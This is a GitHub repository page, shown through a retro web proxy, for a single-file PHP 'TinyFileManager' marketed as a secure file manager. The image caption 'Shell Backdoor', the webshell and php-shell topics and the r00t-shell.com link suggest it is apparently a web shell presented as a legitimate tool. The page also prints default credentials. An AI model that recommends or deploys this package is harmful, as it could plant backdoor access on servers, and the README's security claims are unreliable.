GV

GeezerVison

The World Wide Web, restored to 800 pixels of glory.

Home|About|Gaming cabinet|Archives|How it works|Starter sites

On this site

  • Sign in
  • ActionsCI/CD and automation
  • CodespacesCloud development environments
  • All Features
  • Documentation
  • Training
  • Certifications
  • Build with Copilot
  • Customize Copilot
  • Integrations
  • Trending repos
  • GitHub Sponsors
  • Developer articles
  • Enterprises

This view

  • Original page
  • New address

GeezerVison is showing github.com โ€” GitHub - RootShelll/TinyFilemanager: Explore TinyFileManager - a lightweight, single-file PHP file manager solution for your websites and applications. Easy setup, powerful features, secure file management.

BranchesTags
Open more actions menu

Latest commit

 

History

6 Commits
6 Commits

Folders and files

NameName
Last commit message
Last commit date
LICENSE
LICENSE
 
 
README.md
README.md
 
 
TinyFileManager.php
TinyFileManager.php
 
 
screenshot.gif
screenshot.gif
 
 
translation.json
translation.json
 
 

Repository files navigation

TinyFileManager: Single-File PHP File Manager For Your Web Projects

TinyFileManager Shell Backdoor

Description

TinyFileManager is a lightweight, single-file PHP file manager solution for your websites and applications. Easy setup, powerful features, and secure file management.

Credentials (Default Login)

Use the following credentials for login:

  • UserName: admin
  • Password: R00t

โš ๏ธ Important: Change the default username and password immediately after installation for security purposes.


What Is TinyFileManager? ๐Ÿค”

TinyFileManager is a single-file PHP application that provides a complete web-based file management interface for your server. Think of it as having an explorer/finder that works in your browser, giving you the ability to upload, download, edit, delete, and organize files directly through a clean web interface.


Key Features โœจ

  • ๐Ÿ“ Complete File Operations - Upload, delete, copy, move, rename, archive
  • ๐Ÿ“ Built-in Editor - Edit text files with syntax highlighting
  • ๐Ÿ” File Viewer - Preview images, videos, audio files, and documents
  • ๐Ÿ”’ Authentication System - Multiple user accounts with different access levels
  • ๐Ÿ“ฑ Responsive Design - Works on desktop and mobile devices
  • ๐ŸŒ Multi-language Support - Over 15 languages available
  • ๐ŸŽจ Multiple Themes - Light and dark mode included
  • โšก Lightweight - Single file, less than 500KB in size
  • ๐Ÿ›ก๏ธ Secure - Password protection and customizable access control

Why Choose TinyFileManager? ๐ŸŒŸ

TinyFileManager is ideal for developers, website administrators, or anyone looking for an easy-to-deploy, feature-rich file management solution.

๐Ÿš€ Simple Deployment

Just copy one PHP file to your server and you're ready to go.

๐Ÿ’ผ No Database Required

Works without any database, making installation even easier.

๐Ÿ› ๏ธ Developer Friendly

Perfect for developers who need quick access to server files.

๐Ÿ“Š Resource Efficient

Minimal server resource usage compared to full CMS solutions.


Installation Guide ๐Ÿ“ฅ

Getting started with TinyFileManager is incredibly easy:

Method 1: Direct Download

  1. Download the tinyfilemanager.php file from GitHub.
  2. Upload it to your web server.
  3. Access it through your browser (e.g., https://your-website.com/tinyfilemanager.php).
  4. Login with default credentials:
    UserName: admin
    Password: R00t

Method 2: Using Composer

composer require RootShelll/TinyFilemanager

โš ๏ธ Important Security Note: Make sure to change the default username and password immediately after installation!


Configuration Options โš™๏ธ

TinyFileManager is highly customizable. Here are some key configuration options you can modify at the top of the PHP file:

// Main settings
$root_path = $_SERVER['DOCUMENT_ROOT'];
$root_url = '';
$http_host = $_SERVER['HTTP_HOST'];

// Authentication credentials
$auth_users = array(
    'admin' => password_hash('R00t@123', PASSWORD_DEFAULT),
    'user' => password_hash('R00t', PASSWORD_DEFAULT)
);

// User roles
$readonly_users = array('user');
$directories_users = array();

Customizable Aspects:

  • ๐Ÿ” User credentials and access levels
  • ๐Ÿ“ Root directory path
  • ๐ŸŒ Language settings
  • ๐ŸŽจ Theme preferences
  • ๐Ÿ“‹ Allowed operations (upload, delete, etc.)
  • ๐Ÿ“Š Maximum upload size
  • ๐Ÿ›ก๏ธ Security settings

Practical Usage Examples ๐Ÿ”

Use Case 1: Web Development Environment

  • Quickly upload and edit files on your development server
  • Test file upload functionality in your applications
  • Manage content files without FTP access
  • Troubleshoot file-related issues directly from the browser

Use Case 2: Simple Client File Management

  • Provide a restricted file manager for content updates
  • Allow clients to upload images and documents
  • Create a user-friendly interface for managing website assets
  • Enable secure file sharing within an organization

๐Ÿ’ก Pro Tip: You can integrate TinyFileManager with existing applications by customizing the authentication system to use your application's user database.


Advanced Features ๐Ÿ”ฅ

File Operations

  • File Upload: Drag-and-drop file uploads with progress indicators
  • Archive Handling: Create, extract, and manage ZIP archives
  • File Editing: Built-in code editor with syntax highlighting
  • Image Manipulation: Preview and basic editing capabilities
  • Search Functionality: Find files and folders quickly

Security Features

  • Authentication: Password protection with multiple user levels
  • File Type Restrictions: Control what file types can be uploaded
  • Path Traversal Protection: Prevents unauthorized directory access
  • Activity Logging: Track file operations for security auditing
  • CSRF Protection: Built-in protection against cross-site request forgery

Frequently Asked Questions โ“

Is TinyFileManager free to use?

Yes, TinyFileManager is completely open-source and free to use under the MIT License.

Can I use TinyFileManager on shared hosting?

Absolutely! TinyFileManager is designed to work on virtually any hosting environment that supports PHP.

Does it work with PHP 8?

Yes, TinyFileManager is compatible with PHP 5.5+ through PHP 8.x.

How do I restrict access to certain directories?

You can configure user roles and permissions in the configuration section to restrict access to specific directories for different users.

Can I integrate TinyFileManager with my existing application?

Yes, since it's a single PHP file, you can easily integrate it with existing applications by customizing the authentication mechanism.


Screenshots ๐Ÿ“ธ

TinyFileManager features a clean, responsive interface with multiple themes:

  • ๐Ÿ“ฑ Mobile-friendly design
  • ๐ŸŒ— Light and dark themes
  • ๐Ÿงฉ Intuitive file management interface
  • ๐Ÿ“ Built-in code editor

Visit the GitHub repository to see screenshots of the interface.


Community and Support ๐Ÿ‘ฅ

TinyFileManager is actively maintained by its developer community:

  • ๐Ÿ› Bug Reports: Submit issues via GitHub Issues
  • ๐Ÿ’ฌ Feature Requests: Share your ideas for improvements
  • ๐Ÿค Contributions: Pull requests are welcome
  • ๐Ÿ“š Documentation: Available in the repository README

๐ŸŒ Community Tip: Check the GitHub repository's existing issues before reporting a new one to avoid duplicates.


Conclusion ๐ŸŽ‰

TinyFileManager offers a perfect balance of simplicity and functionality for web-based file management. With its single-file architecture, robust security features, and intuitive interface, it's an excellent solution for developers, website administrators, and anyone needing easy file management capabilities on their web server.

Whether you're managing a small personal website or need a lightweight file management solution for client projects, TinyFileManager provides a hassle-free way to handle files through your browser.

Ready to simplify your file management?

Get started with TinyFileManager today: Download TinyFileManager on GitHub


Bu ลŸekilde, ลŸifre ve kullanฤฑcฤฑ adlarฤฑ belirgin bir ลŸekilde sunulmuลŸ ve kopyalanabilir formatta olacak ลŸekilde dรผzenlendi.

About

Explore TinyFileManager - a lightweight, single-file PHP file manager solution for your websites and applications. Easy setup, powerful features, secure file management.

r00t-shell.com/tinyfilemanager-single-file-php-file-manager-for-your-web-projects/

Topics

file-browserfile-uploadopen-source-file-managerphp-file-managerphp-shellshellsingle-file-php-applicationtinyfilemanagerweb-development-toolsweb-file-managementwebshell

Resources

Readme
MIT license
Activity

Stars

9 stars

Watchers

1 watching

Forks

0 forks
Report repository

Releases

Packages

Contributors

Languages

You are visitor 01402503 โ€” GeezerVison does not store the pages you look up.
Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800ร—600. No cookies required.